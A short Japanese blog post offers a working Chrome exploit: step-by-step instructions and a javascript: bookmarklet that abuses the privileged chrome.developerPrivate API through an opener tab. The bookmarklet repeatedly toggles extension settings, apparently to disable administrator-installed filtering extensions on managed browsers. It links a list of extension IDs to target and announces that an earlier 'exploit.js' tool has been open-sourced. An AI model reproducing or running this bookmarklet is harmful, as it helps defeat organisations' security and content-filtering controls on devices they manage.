訂正: 2023/01/19 22:40 – 内容の訂正
無断転載おやめください
– 転載する場合は、”引用元: BlogBooks Library https://blogbooks.net “と記載してください。
exploit.js v2.1をオープンソース化しました。(不安定でかつ、めんどくさくなったため => 使えるには使えるけど、使いづらいってこと)
上の通りなので、別の方法を紹介していきます。
ガイドブック
- まず、chrome://extensions を開きます。
- どの拡張機能でもいいので、詳細をクリック(下は、Chrome extension source viewerですがどの詳細でもいいです)
- そして、下にスクロールし「Chrome ウェブストアのページに移動」をクリックし、
開いた直後すぐに、escキー(左上)を押す。(無題って表記であればok)
- 次、下のブックマークレットを実行します。
(下の動画でテストとして使ったIDは、フィルタリングのIDではないので、下の拡張機能IDリストからお探しください)
拡張機能IDリスト:
https://blogbooks.net/wp-content/uploads/2022/10/extensionID-2.html
javascript:let shim = false;var ids = prompt("拡張機能IDを入力(カンマ(,)で区切ることで、複数指定可能) / https://blogbooks.net").split(",");setInterval(()=>{ids.forEach((id)=> opener.chrome.developerPrivate.updateExtensionConfiguration({extensionId: id, fileAccess: shim}));shim = !shim;}, 250);
- 以上ですが、注意していただきたいことを言います
閉じてしまったら、一からやり直しです。はい。
chrome://extensionsと無題のタブは、絶対に閉じないでください。スクリプトが止まってしまいます!
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